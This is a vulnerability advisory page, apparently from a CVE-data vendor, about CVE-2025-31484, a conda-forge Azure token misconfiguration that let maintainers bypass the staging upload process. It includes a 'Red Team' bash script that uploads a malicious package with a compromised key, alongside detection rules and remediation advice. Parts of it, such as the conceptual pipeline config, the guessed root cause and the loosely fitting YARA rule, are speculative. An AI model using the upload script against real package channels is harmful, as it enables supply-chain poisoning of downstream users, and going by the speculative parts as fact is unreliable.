CVE-2025-31484
Executive Summary
CVE-2025-31484 is a critical infrastructure misconfiguration vulnerability in the conda-forge package management ecosystem. Between February 10 and April 1, 2025, the conda-forge infrastructure inadvertently used an incorrect Azure token for cf-staging access. This flaw allowed any feedstock maintainer to bypass the intended feedstock-token + upload process and directly upload packages to the conda-forge channel. The vulnerability effectively nullified the security controls designed to prevent unauthorized package publication, potentially enabling supply chain attacks through malicious package injection.
The vulnerability is classified as a broken authentication/authorization issue (CWE-287) with a CVSS v3.1 base score of 9.0 (Critical). While the security logs on anaconda.org were reviewed and no unauthorized packages were found, the exposure window of approximately 50 days represents a significant risk to the conda-forge ecosystem and its downstream users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the conda-forge software supply chain. Conda-forge is a community-driven packaging ecosystem for conda, widely used in scientific computing, data science, and DevOps environments. The ability for any feedstock maintainer to upload packages to the main channel without proper token validation means that:
- Malicious actors with maintainer access could inject backdoored packages.
- The integrity of the entire conda-forge channel is compromised during the exposure window.
- Downstream users who installed packages during this period may be at risk.
- No official patch or version update has been released; mitigation relies on infrastructure reconfiguration.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.0 (Critical)
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitation is possible over the network via package upload API. |
| Attack Complexity (AC) | Low | No special conditions required; the misconfigured token is always active. |
| Privileges Required (PR) | Low | Attacker needs feedstock maintainer privileges (not admin). |
| User Interaction (UI) | None | No user action required for exploitation. |
| Scope (S) | Unchanged | The vulnerable component and affected system are the same. |
| Confidentiality (C) | High | Attacker can read package contents or inject malicious code. |
| Integrity (I) | High | Attacker can modify packages in the main channel. |
| Availability (A) | High | Attacker can delete or corrupt packages, causing denial of service. |
Threat Level: Critical. The vulnerability enables supply chain compromise with low complexity and minimal privileges.
Deep Dive & Mechanics
The conda-forge infrastructure uses a two-stage upload process:
- Feedstock maintainers upload packages to the
cf-stagingchannel using a feedstock-specific token. - A secure copy process moves approved packages from
cf-stagingto the mainconda-forgechannel.
Between 2025-02-10 and 2025-04-01, a configuration error caused the infrastructure to use the wrong Azure token for cf-staging access. Specifically, the token used for authentication to Azure Blob Storage (where cf-staging packages reside) was incorrectly scoped or had elevated permissions. This meant that any feedstock maintainer could directly upload packages to the conda-forge channel, bypassing the staging and approval process.
The root cause is a misconfiguration in the conda-forge infrastructure repository (likely in CI/CD pipeline definitions or Azure service principal assignments). The token used for Azure access was either:
- A shared token with write access to the main channel.
- A token that was not properly restricted to the
cf-stagingcontainer.
The vulnerability does not require code execution or complex exploitation; it is purely a configuration flaw that grants unauthorized write access.
Vulnerable vs. Patched Code
Since this is an infrastructure misconfiguration rather than a code vulnerability, there is no specific vulnerable code to compare. However, the following pseudo-code illustrates the intended vs. actual behavior:
Vulnerable Configuration (Conceptual):
# .azure/azure-pipelines.yml (vulnerable)
- task: AzureCLI@2
inputs:
azureSubscription: 'cf-staging'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# WRONG: Uses token with write access to conda-forge channel
az storage blob upload --account-name cfstaging --container-name conda-forge --file package.tar.bz2
Patched Configuration (Conceptual):
# .azure/azure-pipelines.yml (patched)
- task: AzureCLI@2
inputs:
azureSubscription: 'cf-staging'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# CORRECT: Uses token restricted to cf-staging container only
az storage blob upload --account-name cfstaging --container-name cf-staging --file package.tar.bz2
The patch involves rotating the Azure token and ensuring that the service principal used for cf-staging access has permissions limited to the cf-staging container only, not the conda-forge container.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid feedstock maintainer account on conda-forge.
- Access to the conda-forge infrastructure (e.g., via CI/CD pipeline or direct API).
Exploitation Steps:
- Obtain a feedstock maintainer token (e.g., from a compromised CI/CD pipeline).
- Use the token to authenticate to Azure Blob Storage.
- Upload a malicious package directly to the
conda-forgecontainer:#!/bin/bash # Exploit script for CVE-2025-31484 # Requires: azure-cli, conda-build, and a valid token # Set environment variables export AZURE_STORAGE_ACCOUNT="cfstaging" export AZURE_STORAGE_KEY="<compromised_token>" # Build a malicious conda package conda-build malicious-recipe/ # Upload directly to conda-forge channel (bypassing cf-staging) az storage blob upload \ --container-name conda-forge \ --name malicious-package-1.0.0.tar.bz2 \ --file /path/to/malicious-package-1.0.0.tar.bz2 - The package is now available in the main conda-forge channel for all users.
Expected Outcome: The malicious package is published without going through the staging/approval process, enabling supply chain compromise.
Blue Team
Detection Steps:
- Review Azure Blob Storage logs for direct uploads to the
conda-forgecontainer:# Query Azure Monitor for unauthorized uploads az monitor log-analytics query \ --workspace <workspace-id> \ --query "StorageBlobLogs | where OperationName == 'PutBlob' and ObjectKey startswith 'conda-forge/' and UserAgent != 'conda-forge-copy-service'" - Check anaconda.org security logs for packages that were not copied from
cf-staging:# List packages in conda-forge channel and compare with cf-staging conda search --channel conda-forge --json | jq 'keys' > conda-forge-packages.json conda search --channel cf-staging --json | jq 'keys' > cf-staging-packages.json diff conda-forge-packages.json cf-staging-packages.json - Rotate all Azure tokens used for
cf-stagingaccess immediately. - Implement conditional access policies to restrict token usage to specific containers.
Indicators of Compromise (IOCs)
| IOC Type | Value | Description |
|---|---|---|
| Azure Blob Storage Container | conda-forge |
Direct uploads to this container without staging |
| User Agent | azure-cli/* |
Non-standard uploads (not from conda-forge-copy-service) |
| Timestamp | 2025-02-10 to 2025-04-01 | Exposure window |
| Token Scope | cf-staging with write to conda-forge |
Misconfigured token |
| Package Source | Direct upload (no staging) | Packages not originating from cf-staging |
Detection Engineering
YARA Rule
rule CVE_2025_31484_conda_forge_misconfig {
meta:
description = "Detect conda packages uploaded directly to conda-forge channel bypassing cf-staging"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-31484"
hash = "unknown"
strings:
$s1 = "conda-forge" ascii wide nocase
$s2 = "cf-staging" ascii wide nocase
$s3 = "azure-storage" ascii wide nocase
$s4 = "PutBlob" ascii wide nocase
condition:
all of ($s1, $s2, $s3) and $s4
}
Sigma Rule
title: CVE-2025-31484 - Unauthorized Package Upload to Conda-Forge Channel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects direct uploads to conda-forge Azure Blob Storage container bypassing cf-staging
author: Valters IT
date: 2025-04-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-31484
logsource:
product: azure
service: storage
category: blob
detection:
selection:
OperationName: 'PutBlob'
ObjectKey|startswith: 'conda-forge/'
UserAgent|contains: 'azure-cli'
condition: selection
falsepositives:
- Legitimate conda-forge copy service (UserAgent: conda-forge-copy-service)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-31484 - Potential Unauthorized Package Upload to Conda-Forge";
flow:to_server;
content:"PUT"; http_method;
content:"/conda-forge/"; http_uri;
content:"azure-storage"; http_header;
pcre:"/User-Agent\x3a[^\r\n]*azure-cli/i";
sid:10000001;
rev:1;
reference:cve,2025-31484;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Rotate all Azure tokens used for
cf-stagingaccess. - Review Azure Blob Storage access policies to ensure tokens are scoped to the
cf-stagingcontainer only. - Audit all packages uploaded to the
conda-forgechannel between 2025-02-10 and 2025-04-01 for unauthorized content. - Implement conditional access policies in Azure AD to restrict token usage.
Long-term Mitigations:
- Implement infrastructure-as-code (IaC) scanning to detect misconfigured tokens.
- Use Azure Policy to enforce least-privilege access for storage accounts.
- Enable Azure Monitor alerts for direct uploads to production containers.
- Conduct regular security reviews of CI/CD pipeline configurations.
- Implement a mandatory staging process with approval gates for all package uploads.
Workarounds:
- Temporarily disable direct upload capabilities to the
conda-forgechannel. - Require multi-factor authentication for all feedstock maintainer actions.
Valters IT